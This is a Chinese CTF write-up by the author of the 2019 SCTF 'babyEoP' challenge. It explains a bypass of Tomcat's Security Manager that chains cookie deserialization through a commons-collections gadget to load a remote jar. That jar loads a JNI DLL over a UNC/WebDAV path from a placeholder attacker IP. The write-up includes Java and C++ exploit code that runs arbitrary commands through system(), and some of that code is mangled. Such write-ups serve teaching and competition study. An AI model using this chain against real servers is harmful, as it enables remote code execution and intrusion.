babyEoP
出題人:Jaylin 解題人數:0 最終分數:1000
題目給了一個webshell,弱密碼直接進去。
Tomcat啟用了 Security Manager,webshell基本所有功能無法正常使用,但是可以查看有限的幾個目錄文件,無寫權限。
如果順利,應該可以收集到以下信息:
- cookie處存在反序列化的點,有反序列化漏洞。
- 查看lib目錄,存在
commons-collections 3.1 gadget。 - 找到 catalina.policy 文件,是Tomcat默認的安全策略配置文件,這應該是本題可能有點腦洞的地方,因為沒有給
C:/babyEoP/apache-tomcat-8.5.42的讀權限,所以無法列目錄,但是 conf 目錄是可讀的。(有將近10位選手讀到了這個文件hhhh。)
我在官方提供的 catalina.policy 的基礎上,做了一些修改。給了 LoadLibrary 、 createClassLoader、 accessDeclaredMembers 幾個重要權限。
分析 policy ,應該很容易可以想到,要通過 JNI 繞過 Security Manager。但是 JNI 需要加載一個 dll 動態鏈接庫,由于并沒有給任何寫權限,所以是不可能上傳 dll 的。
并且,webshell 的 Eval Code 使用時,需要向當前目錄寫一個 tmp.jsp 文件,所以也是不能用的(不要想著用這個執行代碼)。
那么該如何才能執行代碼來加載一個不在本地的dll呢?
下面是具體的解題思路:
題目已經給了反序列化的點以及gadget,可以通過這個來執行代碼。
ysoserial 的 commons-collections 利用鏈提供了幾個直接執行命令的 gadget,但是都是基于 Runtime.exec 的,并沒有給這個權限。So 想要直接利用是不行的。
但是直接用 gadget 構造出加載dll可能比較困難,所以這里可以利用稍微高級一點的方法——加載外部的jar來執行代碼。
構造見https://github.com/Jayl1n/ysoserial/blob/m....
下面要加載 dll,用 JNI 繞 JSM。
同樣因為沒有寫權限,且 dll 無法一起打包到 jar 里,所以要從網絡上加載 dll。
這里利用 System.load 的一個特性——可以使用 UNC 路徑,加載遠程的 dll。
為什么可以使用 UNC 呢?來看下 System.load 的調用過程。
System.load

調用了 Runtime.getRuntime().load0
1.Runtime.getRuntime().load0

在這里會判斷 filename 是否是一個絕對路徑,如果不是就直接拋出異常,是就進一步加載。
1.File.isAbsolute

再看看 File 是如何判斷是否是絕對路徑的。
根據描述,linux下要求以 / 開頭。windows下,要求以盤符或者 \\\\開頭。
emm 綜上,所以這里可以使用 UNC 路徑。
下面是另一個坑,UNC 默認是走 445 端口的,如果沒有特殊情況,公網上都是屏蔽了這個端口的。
這里利用 windows 一個特性,在開啟了 webclient 服務的情況下,UNC 訪問 445 失敗時,會嘗試訪問目標服務器80端口的 webdav 去加載資源 ( ̄??), 這一點 hint 已經提示過了。
EXP 類 R.
public class R { static { System.load("\\xxx.xxx.xxx.xxx\JNI.dll"); }
public static native void exec(String cmd);
public R(String cmd) {
exec(cmd);
}
}
執行命令
c R. jar cvf R.jar R.class
將打包的 R.jar 放到服務器上的 web 服務下。
DLL R.h
ifdef __cplusplus
extern "C" {
endif
JNIEXPORT void JNICALL _R_exec
(JNIEnv *, jclass, jstring);
ifdef __cplusplus
}
endif
endif
R.cpp
include "R.h"
include
JNIEXPORT void JNICALL _R_exec (JNIEnv env, jclass clazz, jstring str) { char cmd= (char*)env->GetStringUTFChars(str,JNI_FALSE); system(cmd); env->ReleaseStringUTFChars(str,cmd); }
編譯成 dll,放到服務器的 webdav 服務下。
用https://github.com/Jayl1n/ysoserial/blob/m.... 構造序列化 payload,貼到 cookie 里打一發,完事兒~
2019SCTF-Writeup